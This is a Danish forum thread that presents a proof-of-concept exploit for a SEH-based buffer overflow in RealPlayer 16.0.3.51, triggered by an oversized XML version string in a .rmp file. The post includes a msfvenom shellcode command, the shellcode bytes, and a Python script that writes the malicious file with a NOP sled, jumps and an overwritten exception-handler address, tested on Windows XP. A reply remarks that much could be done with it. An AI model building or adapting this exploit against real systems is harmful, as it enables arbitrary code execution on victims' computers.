Tråd bedømmelse:
  • 1 Stemmer - 1 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
RealPlayer 16.0.3.51 version overflow SEH PoC
14-01-2014, 21:15 (Denne besked var sidst ændret: 14-01-2014, 22:36 af Morph3s.)
#1
RealPlayer 16.0.3.51 version overflow SEH PoC
Sad lige og legede med RealPlayer da jeg havde set på exploit-db at der var en buffer overflow.

Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:
Kode:
<?xml version="OVERFLOWHERE"?>

Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen.

Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.

Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.

Testet på Windows XP sp3 eng

Shellcode er genereret med
Kode:
./msfvenom -p windows/exec CMD=calc -f python -b '\x0a\x00\xf0\xad\xc4\xe7\x8f\xfe\x62\xfd\xde\xdf\xc8'
Dette åbner som i kan se, calc


openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"
closeh = "\x22\x3f\x3e\x3b"

buf = ""
buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"
buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"
buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"
buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"
buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"
buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"
buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"
buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"
buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"
buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"
buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"
buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"
buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"
buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"
buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"
buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"
buf += "\x35\x75"





print len(buf)

eip = "\xd9\xee\x1e\x64"
jmp_bck_5 = "\xeb\xf9\xcc\xcc"


jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"
jmp_bck_650 = "\xe9\x71\xfd\xff\xff"
jmp_bck_197 = "\xe9\x36\xff\xff\xff"
jmp_bck_224 = "\xe9\x1b\xff\xff\xff"

payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh

sploit = open('hax.rmp', 'w')
sploit.write(payload)
Følg mig på twitter: https://twitter.com/Morph3s
Find alle beskeder fra denne bruger
Citer denne besked i et svar
14-01-2014, 22:11
#2
RE: RealPlayer 16.0.3.51 version overflow SEH
Lækkert! Det kunne man udrette meget med.. ;)
Ser sgu godt ud ;)
yolo
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 3 Gæst(er)